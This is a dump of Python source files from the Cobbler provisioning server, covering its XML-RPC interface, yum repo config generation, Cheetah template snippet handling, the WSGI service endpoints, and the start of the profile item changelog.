installation snippet file :param file_path: automatic OS installation snippet file path :param data: new file content :param token: Cobbler token, obtained form login() :return: if operation was successful """ what = "write_autoinstall_snippet" self._log(what, name=file_path, token=token) self.check_access(token, what, file_path, True) self.autoinstall_mgr.write_autoinstall_snippet(file_path, data) return True def remove_autoinstall_snippet(self, file_path: str, token: str) -> bool: """ Remove an automated OS installation snippet file :param file_path: automated OS installation snippet file path :param token: Cobbler token, obtained form login() :return: bool if operation was successful """ what = "remove_autoinstall_snippet" self._log(what, name=file_path, token=token) self.check_access(token, what, file_path, True) self.autoinstall_mgr.remove_autoinstall_snippet(file_path) return True def get_config_data(self, hostname: str) -> str: """ Generate configuration data for the system specified by hostname. :param hostname: The hostname for what to get the config data of. :return: The config data as a json for Koan. """ self._log(f"get_config_data for {hostname}") obj = configgen.ConfigGen(self.api, hostname) return obj.gen_config_data_for_koan() def clear_system_logs(self, object_id: str, token: str) -> bool: """ clears console logs of a system :param object_id: The object id of the system to clear the logs of. :param token: The API-token obtained via the login() method. :return: True if the operation succeeds. """ # We pass return_list=False, thus the return type is Optional[System] obj: Optional["system.System"] = self.api.find_system(uid=object_id, return_list=False) # type: ignore self.check_access( token, "clear_system_logs", obj.name if obj else "object not found" ) if obj is None: return False self.api.clear_logs(obj) return True def input_string_or_list_no_inherit( self, options: Optional[Union[str, List[Any]]] ) -> List[Any]: """ .. seealso:: :func:`~cobbler.api.CobblerAPI.input_string_or_list_no_inherit` """ return self.api.input_string_or_list_no_inherit(options) def input_string_or_list( self, options: Optional[Union[str, List[Any]]] ) -> Union[List[Any], str]: """ .. seealso:: :func:`~cobbler.api.CobblerAPI.input_string_or_list` """ return self.api.input_string_or_list(options) def input_string_or_dict( self, options: Union[str, List[Any], Dict[Any, Any]], allow_multiples: bool = True, ) -> Union[str, Dict[Any, Any]]: """ .. seealso:: :func:`~cobbler.api.CobblerAPI.input_string_or_dict` """ return self.api.input_string_or_dict(options, allow_multiples=allow_multiples) def input_string_or_dict_no_inherit( self, options: Union[str, List[Any], Dict[Any, Any]], allow_multiples: bool = True, ) -> Dict[Any, Any]: """ .. seealso:: :func:`~cobbler.api.CobblerAPI.input_string_or_dict_no_inherit` """ return self.api.input_string_or_dict_no_inherit( options, allow_multiples=allow_multiples ) def input_boolean(self, value: Union[str, bool, int]) -> bool: """ .. seealso:: :func:`~cobbler.api.CobblerAPI.input_boolean` """ return self.api.input_boolean(value) def input_int(self, value: Union[str, int, float]) -> int: """ .. seealso:: :func:`~cobbler.api.CobblerAPI.input_int` """ return self.api.input_int(value) def get_tftp_file( self, path: str, offset: int, size: int, token: str ) -> Tuple[bytes, int]: """ Generate and return a file for a TFTP client. :param path: Path to file :param token: The API-token obtained via the login() method :param offset: Offset of the requested chunk in the file :param size: Size of the requested chunk in the file :return: The requested chunk and the length of the whole file """ self._log("get_tftp_file", token=token) self.check_access(token, "get_tftp_file") return self.api.get_tftp_file(path, offset, size) # ********************************************************************************* class RequestHandler(SimpleXMLRPCRequestHandler): """ TODO """ def do_OPTIONS(self) -> None: """ TODO """ self.send_response(200) self.end_headers() # Add these headers to all responses def end_headers(self) -> None: """ TODO """ self.send_header( "Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept", ) self.send_header("Access-Control-Allow-Origin", "*") SimpleXMLRPCRequestHandler.end_headers(self) class CobblerXMLRPCServer(ThreadingMixIn, xmlrpc.server.SimpleXMLRPCServer): """ This is the class for the main Cobbler XMLRPC Server. This class does not directly contain all XMLRPC methods. It just starts the server. """ def __init__(self, args: Any) -> None: """ The constructor for the main Cobbler XMLRPC server. :param args: Arguments which are handed to the Python XMLRPC server. """ self.allow_reuse_address = True xmlrpc.server.SimpleXMLRPCServer.__init__( self, args, requestHandler=RequestHandler ) # ********************************************************************************* class ProxiedXMLRPCInterface: """ TODO """ def __init__(self, api: "CobblerAPI", proxy_class: Type[Any]) -> None: """ This interface allows proxying request through another class. :param api: The api object to resolve information with :param proxy_class: The class which proxies the requests. """ self.proxied = proxy_class(api) self.logger = self.proxied.api.logger def _dispatch(self, method: str, params: Any, **rest: Any) -> Any: """ This method magically registers the methods at the XMLRPC interface. :param method: The method to register. :param params: The params for the method. :param rest: This gets dropped curently. :return: The result of the method. """ # ToDo: Drop rest param if method.startswith("_") or method == "background_load_items": raise CX("forbidden method") if not hasattr(self.proxied, method): raise CX(f"unknown remote method '{method}'") method_handle = getattr(self.proxied, method) # FIXME: see if this works without extra boilerplate try: # Shared lock to suspend execution of background_load_items self.proxied.load_items_lock.acquire(blocking=False) return method_handle(*params) except Exception as exception: utils.log_exc() raise exception finally: self.proxied.load_items_lock.release()
163,035
Python
.py
3,470
36.787032
120
0.606084
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,093
yumgen.py
cobbler_cobbler/cobbler/yumgen.py
""" Builds out filesystem trees/data based on the object tree. This is the code behind 'cobbler sync'. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import pathlib from typing import TYPE_CHECKING, List from cobbler import templar, utils if TYPE_CHECKING: from cobbler.api import CobblerAPI from cobbler.items.abstract.base_item import BaseItem class YumGen: """ TODO """ def __init__(self, api: "CobblerAPI"): """ Constructor :param api: The main API instance which is used by the current running server. """ self.api = api self.settings = api.settings() self.templar = templar.Templar(self.api) def get_yum_config(self, obj: "BaseItem", is_profile: bool) -> str: """ Return one large yum repo config blob suitable for use by any target system that requests it. :param obj: The object to generate the yumconfig for. :param is_profile: If the requested object is a profile. (Parameter not used currently) :return: The generated yumconfig or the errors. """ del is_profile totalbuf = "" blended = utils.blender(self.api, False, obj) # type: ignore input_files: List[pathlib.Path] = [] # Tack on all the install source repos IF there is more than one. This is basically to support things like # RHEL5 split trees if there is only one, then there is no need to do this. included = {} for repo in blended["source_repos"]: filename = pathlib.Path(self.settings.webdir).joinpath( "/".join(repo[0].split("/")[4:]) ) if filename not in included: input_files.append(filename) included[filename] = 1 for repo in blended["repos"]: path = pathlib.Path(self.settings.webdir).joinpath( "repo_mirror", repo, "config.repo" ) if path not in included: input_files.append(path) included[path] = 1 for infile in input_files: try: with open(infile, encoding="UTF-8") as infile_h: infile_data = infile_h.read() except Exception: # File does not exist and the user needs to run reposync before we will use this, Cobbler check will # mention this problem totalbuf += f"\n# error: could not read repo source: {infile}\n\n" continue outfile = None # disk output only totalbuf += self.templar.render(infile_data, blended, outfile) totalbuf += "\n\n" return totalbuf
2,839
Python
.py
66
33.560606
116
0.617786
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,094
template_api.py
cobbler_cobbler/cobbler/template_api.py
""" Cobbler provides builtin methods for use in Cheetah templates. $SNIPPET is one such function and is now used to implement Cobbler's SNIPPET:: syntax. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Written by Daniel Guernsey <danpg102@gmail.com> # SPDX-FileCopyrightText: Contributions by Michael DeHaan <michael.dehaan AT gmail> # SPDX-FileCopyrightText: US Government work; No explicit copyright attached to this file. import logging import os.path import re from typing import Any, Match, Optional, TextIO, Tuple, Union from Cheetah.Template import Template # type: ignore from cobbler import utils # This class is defined using the Cheetah language. Using the 'compile' function we can compile the source directly into # a Python class. This class will allow us to define the cheetah builtins. logger = logging.getLogger() def read_macro_file(location: str = "/etc/cobbler/cheetah_macros") -> str: """ TODO :param location: TODO :return: TODO """ if not os.path.exists(location): raise FileNotFoundError("Cobbler Cheetah Macros File must exist!") with open(location, "r", encoding="UTF-8") as macro_file: return macro_file.read() def generate_cheetah_macros() -> Template: """ TODO :return: TODO """ try: macro_file = read_macro_file() return Template.compile( # type: ignore source=macro_file, moduleName="cobbler.template_api", className="CheetahMacros", ) except FileNotFoundError: logger.warning("Cheetah Macros file note found. Using empty template.") return Template.compile(source="") # type: ignore class CobblerTemplate(generate_cheetah_macros()): # type: ignore """ This class will allow us to include any pure python builtin functions. It derives from the cheetah-compiled class above. This way, we can include both types (cheetah and pure python) of builtins in the same base template. """ def __init__(self, **kwargs: Any): """ Constructor for this derived class. We include two additional default templates. :param kwargs: These arguments get passed to the super constructor of this class. """ # This part (see 'Template' below for the other part) handles the actual inclusion of the file contents. We # still need to make the snippet's namespace (searchList) available to the template calling SNIPPET (done in # the other part). # This function can be used in two ways: # Cheetah syntax: # - $SNIPPET('my_snippet') # - SNIPPET syntax: # - SNIPPET::my_snippet # This follows all of the rules of snippets and advanced snippets. First it searches for a per-system snippet, # then a per-profile snippet, then a general snippet. If none is found, a comment explaining the error is # substituted. self.BuiltinTemplate = Template.compile( # type: ignore source="\n".join( [ "#def SNIPPET($file)", "#set $snippet = $read_snippet($file)", "#if $snippet", "#include source=$snippet", "#else", "# Error: no snippet data for $file", "#end if", "#end def", ] ) + "\n" ) super().__init__(**kwargs) # type: ignore # OK, so this function gets called by Cheetah.Template.Template.__init__ to compile the template into a class. This # is probably a kludge, but it add a baseclass argument to the standard compile (see Cheetah's compile docstring) # and returns the resulting class. This argument, of course, points to this class. Now any methods entered here (or # in the base class above) will be accessible to all cheetah templates compiled by Cobbler. @classmethod def compile(cls, *args: Any, **kwargs: Any) -> bytes: """ Compile a cheetah template with Cobbler modifications. Modifications include ``SNIPPET::`` syntax replacement and inclusion of Cobbler builtin methods. Please be aware that you cannot use the ``baseclass`` attribute of Cheetah anymore due to the fact that we are using it in our implementation to enable the Cheetah Macros. :param args: These just get passed right to Cheetah. :param kwargs: We just execute our own preprocessors and remove them and let afterwards handle Cheetah the rest. :return: The compiled template. """ def replacer(match: Match[str]) -> str: return f"$SNIPPET('{match.group(1)}')" def preprocess( source: Optional[str], file: Optional[Union[TextIO, str]] ) -> Tuple[str, Optional[Union[TextIO, str]]]: # Normally, the cheetah compiler worries about this, but we need to preprocess the actual source. if source is None: if isinstance(file, TextIO): source = file.read() elif isinstance(file, str): if os.path.exists(file): with open(file, "r", encoding="UTF-8") as snippet_fd: source = "#errorCatcher Echo\n" + snippet_fd.read() else: source = f"# Unable to read {file}\n" # Stop Cheetah from throwing a fit. file = None snippet_regex = re.compile(r"SNIPPET::([A-Za-z0-9_\-/.]+)") results = snippet_regex.sub(replacer, source or "") return results, file preprocessors = [preprocess] if "preprocessors" in kwargs: preprocessors.extend(kwargs["preprocessors"]) kwargs["preprocessors"] = preprocessors # Now let Cheetah do the actual compilation - mypy can't introspect Cheetah return super().compile(*args, **kwargs) # type: ignore def read_snippet(self, file: str) -> Optional[str]: """ Locate the appropriate snippet for the current system and profile and read its contents. This file could be located in a remote location. This will first check for a per-system snippet, a per-profile snippet, a distro snippet, and a general snippet. :param file: The name of the file to read. Depending on the context this gets expanded automatically. :return: None (if the snippet file was not found) or the string with the read snippet. :raises AttributeError: Raised in case ``autoinstall_snippets_dir`` is missing. :raises FileNotFoundError: Raised in case some files are not found. """ if not self.varExists("autoinstall_snippets_dir"): # type: ignore raise AttributeError( '"autoinstall_snippets_dir" is required to find snippets' ) for snippet_class in ("system", "profile", "distro"): if self.varExists(f"{snippet_class}_name"): # type: ignore full_path = ( f"{self.getVar('autoinstall_snippets_dir')}/per_{snippet_class}/{file}/" # type: ignore f"{self.getVar(f'{snippet_class}_name')}" # type: ignore ) try: contents = utils.read_file_contents(full_path, fetch_if_remote=True) return contents except FileNotFoundError: pass try: full_path = f"{self.getVar('autoinstall_snippets_dir')}/{file}" # type: ignore file_content = utils.read_file_contents(full_path, fetch_if_remote=True) if isinstance(file_content, str): return "#errorCatcher ListErrors\n" + file_content else: return "Error reading error list from Cheetah!" except FileNotFoundError: return None def SNIPPET(self, file: str) -> Any: """ Include the contents of the named snippet here. This is equivalent to the #include directive in Cheetah, except that it searches for system and profile specific snippets, and it includes the snippet's namespace. This may be a little frobby, but it's really cool. This is a pure python portion of SNIPPET that appends the snippet's searchList to the caller's searchList. This makes any #defs within a given snippet available to the template that included the snippet. :param file: The snippet file to read and include in the template. :return: The updated template. """ # First, do the actual inclusion. Cheetah (when processing #include) will track the inclusion in # self._CHEETAH__cheetahIncludes result = self.BuiltinTemplate.SNIPPET(self, file) # type: ignore # Now do our dirty work: locate the new include, and append its searchList to ours. We have to compute the full # path again? Eww. # This weird method is getting even weirder, the cheetah includes keys are no longer filenames but actual # contents of snippets. Regardless this seems to work and hopefully it will be ok. snippet_contents = self.read_snippet(file) if snippet_contents: # Only include what we don't already have. Because Cheetah passes our searchList into included templates, # the snippet's searchList will include this templates searchList. We need to avoid duplicating entries. child_list = self._CHEETAH__cheetahIncludes[snippet_contents].searchList() # type: ignore my_list = self.searchList() # type: ignore for child_elem in child_list: # type: ignore if child_elem not in my_list: my_list.append(child_elem) # type: ignore return result # type: ignore # pylint: disable=R0201 def sedesc(self, value: str) -> str: """ Escape a string for use in sed. This function is used by several cheetah methods in cheetah_macros. It can be used by the end user as well. Example: Replace all instances of ``/etc/banner`` with a value stored in ``$new_banner`` ..code:: sed 's/$sedesc("/etc/banner")/$sedesc($new_banner)/' :param value: The phrase to escape. :return: The escaped phrase. """ def escchar(character: str) -> str: if character in "/^.[]$()|*+?{}\\": return "\\" + character return character return "".join([escchar(c) for c in value])
10,655
Python
.py
197
43.736041
120
0.636538
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,095
services.py
cobbler_cobbler/cobbler/services.py
""" Mod Python service functions for Cobbler's public interface (aka cool stuff that works with wget/curl) Changelog: Schema: From -> To Current Schema: Please refer to the documentation visible of the individual methods. V3.4.0 (unreleased) * No changes V3.3.4 (unreleased) * No changes V3.3.3 * Removed: * ``look`` V3.3.2 * No changes V3.3.1 * No changes V3.3.0 * Added: * ``settings`` * Changed: * ``gpxe``: Renamed to ``ipxe`` V3.2.2 * No changes V3.2.1 * No changes V3.2.0 * No changes V3.1.2 * No changes V3.1.1 * No changes V3.1.0 * No changes V3.0.1 * No changes V3.0.0 * Added: * ``autoinstall`` * ``find_autoinstall`` V2.8.5 * Inital tracking of changes. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: based on code copyright 2007 Albert P. Tobey <tobert@gmail.com> # SPDX-FileCopyrightText: additions: 2007-2009 Michael DeHaan <michael.dehaan AT gmail> import json import time import xmlrpc.client from typing import Any, Callable, Dict, List, Optional, Union from urllib import parse import yaml from cobbler import download_manager class CobblerSvc: """ Interesting mod python functions are all keyed off the parameter mode, which defaults to index. All options are passed as parameters into the function. """ def __init__(self, server: str = "") -> None: """ Default constructor which sets up everything to be ready. :param server: The domain to run at. :param req: This parameter is unused. """ self.server = server self.__remote: Optional[xmlrpc.client.Server] = None self.dlmgr = download_manager.DownloadManager() @property def remote(self) -> xmlrpc.client.ServerProxy: """ Sets up the connection to the Cobbler XMLRPC server. This is the version that does not require a login. """ if self.__remote is None: self.__remote = xmlrpc.client.Server(self.server, allow_none=True) return self.__remote def settings(self, **kwargs: Any) -> str: """ Get the application configuration. :return: Settings object. """ return json.dumps(self.remote.get_settings(), indent=4) def index(self, **args: Any) -> str: """ Just a placeholder method as an entry point. :param args: This parameter is unused. :return: "no mode specified" """ return "no mode specified" def autoinstall( self, profile: Optional[str] = None, system: Optional[str] = None, REMOTE_ADDR: Optional[str] = None, REMOTE_MAC: Optional[str] = None, **rest: Any, ) -> str: """ Generate automatic installation files. :param profile: :param system: :param REMOTE_ADDR: :param REMOTE_MAC: :param rest: This parameter is unused. :return: """ data = self.remote.generate_autoinstall( profile, system, REMOTE_ADDR, REMOTE_MAC ) if isinstance(data, str): return data return "ERROR: Server returned unexpected data!" def ks( self, profile: Optional[str] = None, system: Optional[str] = None, REMOTE_ADDR: Optional[str] = None, REMOTE_MAC: Optional[str] = None, **rest: Any, ) -> str: """ Generate automatic installation files. This is a legacy function for part backward compatibility to 2.6.6 releases. :param profile: :param system: :param REMOTE_ADDR: :param REMOTE_MAC: :param rest: This parameter is unused. :return: """ data = self.remote.generate_autoinstall( profile, system, REMOTE_ADDR, REMOTE_MAC ) if isinstance(data, str): return data return "ERROR: Server returned unexpected data!" def ipxe( self, profile: Optional[str] = None, image: Optional[str] = None, system: Optional[str] = None, mac: Optional[str] = None, **rest: Any, ) -> str: """ Generates an iPXE configuration. :param profile: A profile. :param image: An image. :param system: A system. :param mac: A MAC address. :param rest: This parameter is unused. """ if not system and mac: query = {"mac_address": mac} if profile: query["profile"] = profile elif image: query["image"] = image # mypy and xmlrpc don't play well together found: List[Any] = self.remote.find_system(query) # type: ignore if found: system = found[0] data = self.remote.generate_ipxe(profile, image, system) if isinstance(data, str): return data return "ERROR: Server returned unexpected data!" def bootcfg( self, profile: Optional[str] = None, system: Optional[str] = None, **rest: Any ) -> str: """ Generate a boot.cfg config file. Used primarily for VMware ESXi. :param profile: :param system: :param rest: This parameter is unused. :return: """ data = self.remote.generate_bootcfg(profile, system) if isinstance(data, str): return data return "ERROR: Server returned unexpected data!" def script( self, profile: Optional[str] = None, system: Optional[str] = None, **rest: Any ) -> str: """ Generate a script based on snippets. Useful for post or late-action scripts where it's difficult to embed the script in the response file. :param profile: The profile to generate the script for. :param system: The system to generate the script for. :param rest: This may contain a parameter with the key "query_string" which has a key "script" which may be an array. The element from position zero is taken. :return: The generated script. """ data = self.remote.generate_script( profile, system, rest["query_string"]["script"][0] ) if isinstance(data, str): return data return "ERROR: Server returned unexpected data!" def events(self, user: str = "", **rest: Any) -> str: """ If no user is given then all events are returned. Otherwise only event associated to a user are returned. :param user: Filter the events for a given user. :param rest: This parameter is unused. :return: A JSON object which contains all events. """ if user == "": data = self.remote.get_events("") else: data = self.remote.get_events(user) if not isinstance(data, dict): raise ValueError("Server returned incorrect data!") # sort it... it looks like { timestamp : [ array of details ] } keylist = list(data.keys()) keylist.sort() results: List[List[Union[str, float]]] = [] for k in keylist: etime = int(data[k][0]) nowtime = time.time() if (nowtime - etime) < 30: results.append([k, data[k][0], data[k][1], data[k][2]]) return json.dumps(results) def template( self, profile: Optional[str] = None, system: Optional[str] = None, path: Optional[str] = None, **rest: Any, ) -> str: """ Generate a templated file for the system. Either specify a profile OR a system. :param profile: The profile to provide for the generation of the template. :param system: The system to provide for the generation of the template. :param path: The path to the template. :param rest: This parameter is unused. :return: The rendered template. """ if path is not None: path = path.replace("_", "/") path = path.replace("//", "_") else: return "# must specify a template path" if profile is not None: data = self.remote.get_template_file_for_profile(profile, path) elif system is not None: data = self.remote.get_template_file_for_system(system, path) else: data = "# must specify profile or system name" if not isinstance(data, str): raise ValueError("Server returned an unexpected data type!") return data def yum( self, profile: Optional[str] = None, system: Optional[str] = None, **rest: Any ) -> str: """ Generate a repo config. Either specify a profile OR a system. :param profile: The profile to provide for the generation of the template. :param system: The system to provide for the generation of the template. :param rest: This parameter is unused. :return: The generated repository config. """ if profile is not None: data = self.remote.get_repo_config_for_profile(profile) elif system is not None: data = self.remote.get_repo_config_for_system(system) else: data = "# must specify profile or system name" if not isinstance(data, str): raise ValueError("Server returned an unexpected data type!") return data def trig( self, mode: str = "?", profile: Optional[str] = None, system: Optional[str] = None, REMOTE_ADDR: Optional[str] = None, **rest: Any, ) -> str: """ Hook to call install triggers. Only valid for a profile OR a system. :param mode: Can be "pre", "post" or "firstboot". Everything else is invalid. :param profile: The profile object to run triggers for. :param system: The system object to run triggers for. :param REMOTE_ADDR: The ip if the remote system/profile. :param rest: This parameter is unused. :return: The return code of the action. """ ip_address = REMOTE_ADDR if profile: return_code = self.remote.run_install_triggers( mode, "profile", profile, ip_address ) else: return_code = self.remote.run_install_triggers( mode, "system", system, ip_address ) return str(return_code) def nopxe(self, system: Optional[str] = None, **rest: Any) -> str: """ Disables the network boot for the given system. :param system: The system to disable netboot for. :param rest: This parameter is unused. :return: A boolean status if the action succeed or not. """ return str(self.remote.disable_netboot(system)) def list(self, what: str = "systems", **rest: Any) -> str: """ Return a list of objects of a desired category. Defaults to "systems". :param what: May be "systems", "profiles", "distros", "images", "repos" or "menus" :param rest: This parameter is unused. :return: The list of object names. """ # mypy and xmlrpc don't play well together listing: List[Dict[str, Any]] if what == "systems": listing = self.remote.get_systems() # type: ignore elif what == "profiles": listing = self.remote.get_profiles() # type: ignore elif what == "distros": listing = self.remote.get_distros() # type: ignore elif what == "images": listing = self.remote.get_images() # type: ignore elif what == "repos": listing = self.remote.get_repos() # type: ignore elif what == "menus": listing = self.remote.get_menus() # type: ignore else: return "?" names = [x["name"] for x in listing] if len(names) > 0: return "\n".join(names) + "\n" return "" def autodetect(self, **rest: Union[str, int, List[str]]) -> str: """ This tries to autodect the system with the given information. If more than one candidate is found an error message is returned. :param rest: The keys "REMOTE_MACS", "REMOTE_ADDR" or "interfaces". :return: The name of the possible object or an error message. """ # mypy and xmlrpc don't play well together systems: List[Dict[str, Any]] = self.remote.get_systems() # type: ignore # If kssendmac was in the kernel options line, see if a system can be found matching the MAC address. This is # more specific than an IP match. # We cannot be certain that this header is included, thus we can't add a type check (potential breaking change). mac_addresses: List[str] = rest["REMOTE_MACS"] # type: ignore macinput: List[str] = [] for mac in mac_addresses: macinput.extend(mac.lower().split(" ")) ip_address = rest["REMOTE_ADDR"] candidates: List[Dict[str, Any]] = [] for system in systems: for interface in system["interfaces"]: if system["interfaces"][interface]["mac_address"].lower() in macinput: candidates.append(system) if len(candidates) == 0: for system in systems: for interface in system["interfaces"]: if system["interfaces"][interface]["ip_address"] == ip_address: candidates.append(system) if len(candidates) == 0: return f"FAILED: no match ({ip_address},{macinput})" if len(candidates) > 1: return "FAILED: multiple matches" if len(candidates) == 1: return candidates[0]["name"] return "FAILED: Negative amount of matches!" def find_autoinstall( self, system: Optional[str] = None, profile: Optional[str] = None, **rest: Union[str, int], ) -> str: """ Find an autoinstallation for a system or a profile. If this is not known different parameters can be passed to rest to find it automatically. See "autodetect". :param system: The system to find the autoinstallation for, :param profile: The profile to find the autoinstallation for. :param rest: The metadata to find the autoinstallation automatically. :return: The autoinstall script or error message. """ name = "?" if system is not None: url = f"{self.server}/cblr/svc/op/autoinstall/system/{name}" elif profile is not None: url = f"{self.server}/cblr/svc/op/autoinstall/profile/{name}" else: name = self.autodetect(**rest) if name.startswith("FAILED"): return f"# autodetection {name}" url = f"{self.server}/cblr/svc/op/autoinstall/system/{name}" try: return self.dlmgr.urlread(url).content.decode("UTF-8") except Exception: return f"# automatic installation file retrieval failed ({url})" def findks( self, system: Optional[str] = None, profile: Optional[str] = None, **rest: Union[str, int], ) -> str: """ This is a legacy function which enabled Cobbler partly to be backward compatible to 2.6.6 releases. It should be only be used if you must. Please use find_autoinstall if possible! :param system: If you wish to find a system please set this parameter to not null. Hand over the name of it. :param profile: If you wish to find a system please set this parameter to not null. Hand over the name of it. :param rest: If you wish you can try to let Cobbler autodetect the system with the MAC address. :return: Returns the autoinstall/kickstart profile. """ name = "?" if system is not None: url = f"{self.server}/cblr/svc/op/ks/system/{name}" elif profile is not None: url = f"{self.server}/cblr/svc/op/ks/profile/{name}" else: name = self.autodetect(**rest) if name.startswith("FAILED"): return f"# autodetection {name}" url = f"{self.server}/cblr/svc/op/ks/system/{name}" try: return self.dlmgr.urlread(url).content.decode("UTF-8") except Exception: return f"# kickstart retrieval failed ({url})" def __fillup_form_dict(form: Dict[Any, Any], my_uri: str) -> str: """ Helper function to fillup the form dict with required mode information. :param form: The form dict to manipulate :param my_uri: The URI to work with. :return: The normalized URI. """ my_uri = parse.unquote(my_uri) tokens = my_uri.split("/") tokens = tokens[1:] label = True field = "" for token in tokens: if label: field = token else: form[field] = token label = not label return my_uri def __generate_remote_mac_list(environ: Dict[str, Any]) -> List[Any]: # This MAC header is set by anaconda during a kickstart booted with the # kssendmac kernel option. The field will appear here as something # like: eth0 XX:XX:XX:XX:XX:XX mac_counter = 0 remote_macs: List[Any] = [] mac_header = f"HTTP_X_RHN_PROVISIONING_MAC_{mac_counter:d}" while environ.get(mac_header, None): remote_macs.append(environ[mac_header]) mac_counter = mac_counter + 1 mac_header = f"HTTP_X_RHN_PROVISIONING_MAC_{mac_counter:d}" return remote_macs def application( environ: Dict[str, Any], start_response: Callable[[str, List[Any]], None] ) -> List[bytes]: """ UWSGI entrypoint for Gunicorn :param environ: :param start_response: :return: """ form: Dict[str, Any] = {} my_uri = __fillup_form_dict(form, environ["RAW_URI"]) form["query_string"] = parse.parse_qs(environ["QUERY_STRING"]) form["REMOTE_MACS"] = __generate_remote_mac_list(environ) # REMOTE_ADDR isn't a required wsgi attribute so it may be naive to assume it's always present in this context. form["REMOTE_ADDR"] = environ.get("REMOTE_ADDR", None) # Read config for the XMLRPC port to connect to: with open("/etc/cobbler/settings.yaml", encoding="UTF-8") as main_settingsfile: ydata = yaml.safe_load(main_settingsfile) # Instantiate a CobblerWeb object http_api = CobblerSvc(server=f'http://127.0.0.1:{ydata.get("xmlrpc_port", 25151)}') # Check for a valid path/mode; handle invalid paths gracefully mode = form.get("op", "index") # TODO: We could do proper exception handling here and return # Corresponding HTTP status codes: status = "200 OK" # Execute corresponding operation on the CobblerSvc object: func = getattr(http_api, mode) try: content = func(**form) if content.find("# *** ERROR ***") != -1: status = "500 SERVER ERROR" print("possible cheetah template error") # TODO: Not sure these strings are the right ones to look for... elif ( content.find("# profile not found") != -1 or content.find("# system not found") != -1 or content.find("# object not found") != -1 ): print(f"content not found: {my_uri}") status = "404 NOT FOUND" except xmlrpc.client.Fault as err: status = "500 SERVER ERROR" content = err.faultString content = content.encode("utf-8") response_headers = [ ("Content-type", "text/plain;charset=utf-8"), ("Content-Length", str(len(content))), ] start_response(status, response_headers) return [content]
19,936
Python
.py
500
31.218
120
0.604281
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,096
profile.py
cobbler_cobbler/cobbler/items/profile.py
""" Cobbler module that contains the code for a Cobbler profile object. Changelog: V3.4.0 (unreleased): * Changes: * Constructor: ``kwargs`` can now be used to seed the item during creation. * ``children``: The property was moved to the base class. * ``parent``: The property was moved to the base class. * ``from_dict()``: The method was moved to the base class. V3.3.4 (unreleased): * No changes V3.3.3: * Changed: * ``next_server_v4``: str -> enums.VALUE_INHERITED * ``next_server_v6``: str -> enums.VALUE_INHERITED * ``virt_bridge``: str -> enums.VALUE_INHERITED * ``virt_file_size``: int -> enums.VALUE_INHERITED * ``virt_ram``: int -> enums.VALUE_INHERITED V3.3.2: * No changes V3.3.1: * No changes V3.3.0: * This release switched from pure attributes to properties (getters/setters). * Added: * ``boot_loaders``: Union[list, str] * ``enable_ipxe``: bool * ``next_server_v4``: str * ``next_server_v6``: str * ``menu``: str * ``from_dict()`` * Removed: * ``enable_gpxe``: Union[bool, SETTINGS:enable_gpxe] * ``next_server``: Union[str, inherit] * ``get_fields()`` * ``get_parent()``: Please use the property ``parent`` instead * ``set_parent()``: Please use the property ``parent`` instead * ``set_distro()``: Please use the property ``distro`` instead * ``set_name_servers()``: Please use the property ``name_servers`` instead * ``set_name_servers_search()``: Please use the property ``name_servers_search`` instead * ``set_proxy()``: Please use the property ``proxy`` instead * ``set_enable_gpxe()``: Please use the property ``enable_gpxe`` instead * ``set_enable_menu()``: Please use the property ``enable_menu`` instead * ``set_dhcp_tag()``: Please use the property ``dhcp_tag`` instead * ``set_server()``: Please use the property ``server`` instead * ``set_next_server()``: Please use the property ``next_server`` instead * ``set_filename()``: Please use the property ``filename`` instead * ``set_autoinstall()``: Please use the property ``autoinstall`` instead * ``set_virt_auto_boot()``: Please use the property ``virt_auto_boot`` instead * ``set_virt_cpus()``: Please use the property ``virt_cpus`` instead * ``set_virt_file_size()``: Please use the property ``virt_file_size`` instead * ``set_virt_disk_driver()``: Please use the property ``virt_disk_driver`` instead * ``set_virt_ram()``: Please use the property ``virt_ram`` instead * ``set_virt_type()``: Please use the property ``virt_type`` instead * ``set_virt_bridge()``: Please use the property ``virt_bridge`` instead * ``set_virt_path()``: Please use the property ``virt_path`` instead * ``set_repos()``: Please use the property ``repos`` instead * ``set_redhat_management_key()``: Please use the property ``redhat_management_key`` instead * ``get_redhat_management_key()``: Please use the property ``redhat_management_key`` instead * ``get_arch()``: Please use the property ``arch`` instead * Changed: * ``autoinstall``: Union[str, SETTINGS:default_kickstart] -> enums.VALUE_INHERITED * ``enable_menu``: Union[bool, SETTINGS:enable_menu] -> bool * ``name_servers``: Union[list, SETTINGS:default_name_servers] -> list * ``name_servers_search``: Union[list, SETTINGS:default_name_servers_search] -> list * ``filename``: Union[str, inherit] -> str * ``proxy``: Union[str, SETTINGS:proxy_url_int] -> enums.VALUE_INHERITED * ``redhat_management_key``: Union[str, inherit] -> enums.VALUE_INHERITED * ``server``: Union[str, inherit] -> enums.VALUE_INHERITED * ``virt_auto_boot``: Union[bool, SETTINGS:virt_auto_boot] -> bool * ``virt_bridge``: Union[str, SETTINGS:default_virt_bridge] -> str * ``virt_cpus``: int -> Union[int, str] * ``virt_disk_driver``: Union[str, SETTINGS:default_virt_disk_driver] -> enums.VirtDiskDrivers * ``virt_file_size``: Union[int, SETTINGS:default_virt_file_size] -> int * ``virt_ram``: Union[int, SETTINGS:default_virt_ram] -> int * ``virt_type``: Union[str, SETTINGS:default_virt_type] -> enums.VirtType * ``boot_files``: list/dict? -> enums.VALUE_INHERITED * ``fetchable_files``: dict -> enums.VALUE_INHERITED * ``autoinstall_meta``: dict -> enums.VALUE_INHERITED * ``kernel_options``: dict -> enums.VALUE_INHERITED * ``kernel_options_post``: dict -> enums.VALUE_INHERITED * mgmt_classes: list -> enums.VALUE_INHERITED * ``mgmt_parameters``: Union[str, inherit] -> enums.VALUE_INHERITED (``mgmt_classes`` parameter has a duplicate) V3.2.2: * No changes V3.2.1: * Added: * 